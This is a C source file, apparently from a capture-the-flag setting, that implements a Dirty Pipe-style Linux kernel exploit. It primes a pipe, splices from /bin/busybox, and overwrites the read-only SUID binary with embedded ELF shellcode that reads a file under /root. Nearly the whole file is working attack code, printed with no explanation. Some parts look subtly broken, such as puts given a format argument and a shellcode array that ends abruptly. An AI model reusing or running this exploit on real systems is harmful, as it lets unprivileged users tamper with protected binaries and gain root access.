1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110
| #define _GNU_SOURCE
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <stdint.h> #include <stdnoreturn.h>
#include <fcntl.h> #include <sched.h>
#include <sys/ioctl.h> #include <sys/ipc.h> #include <sys/mman.h> #include <sys/msg.h> #include <sys/user.h> #include <sys/syscall.h>
#include <linux/keyctl.h>
static noreturn void err(char *msg) { puts("Error %s", msg); sleep(2); exit(EXIT_FAILURE); }
const unsigned char shellcode[] = { 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0x60, 0x66, 0x01, 0x01, 0x81, 0x34, 0x24, 0x01, 0x01, 0x01, 0x01, 0x48, 0xb8, 0x2f, 0x72, 0x6f, 0x6f, 0x74, 0x2f, 0x66, 0x6c, 0x50, 0x6a, 0x02, 0x58, 0x48, 0x89, 0xe7, 0x31, 0xf6, 0x0f, 0x05, 0x41, 0xba, 0xff, 0xff, 0xff, 0x7f, 0x48, 0x89, 0xc6, 0x6a, 0x28, 0x58, 0x6a, 0x01, 0x5f, 0x99, 0x0f, 0x05, 0xEB};
static void prepare_pipe(int p[2]) { if (pipe(p)) abort();
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ); static char buffer[4096];
for (unsigned r = pipe_size; r > 0;) { unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; write(p[1], buffer, n); r -= n; }
for (unsigned r = pipe_size; r > 0;) { unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; read(p[0], buffer, n); r -= n; } }
int main(int argc, char **argv) { puts("[*] start exploit"); puts("[+] get page size"); size_t page_size = sysconf(_SC_PAGE_SIZE);
puts("[+] get and check args"); __off64_t offset = 1; unsigned long shellcode_len = sizeof(shellcode);
int fd = open("/bin/busybox", O_RDONLY); if (fd < 0) { err("[x] cannot open file"); } struct stat st; if (fstat(fd, &st)) { err("[x] get stat error"); }
if (offset + shellcode_len > st.st_size) { err("[x] write error! large then original file size"); }
puts("[+] prepare pipe"); int pipe_fd[2]; prepare_pipe(pipe_fd);
puts("[+] splice file");
--offset; ssize_t nbytes = splice(fd, &offset, pipe_fd[1], NULL, 1, 0); if (nbytes < 0) { err("[x] splice error"); }
puts("[+] write content to target suid file"); nbytes = write(pipe_fd[1], &shellcode[1], shellcode_len); if (nbytes <= 0 || nbytes < shellcode_len) { err("[x] write to file error"); }
puts("[*] finish exploit!!"); close(fd); return 0; }
|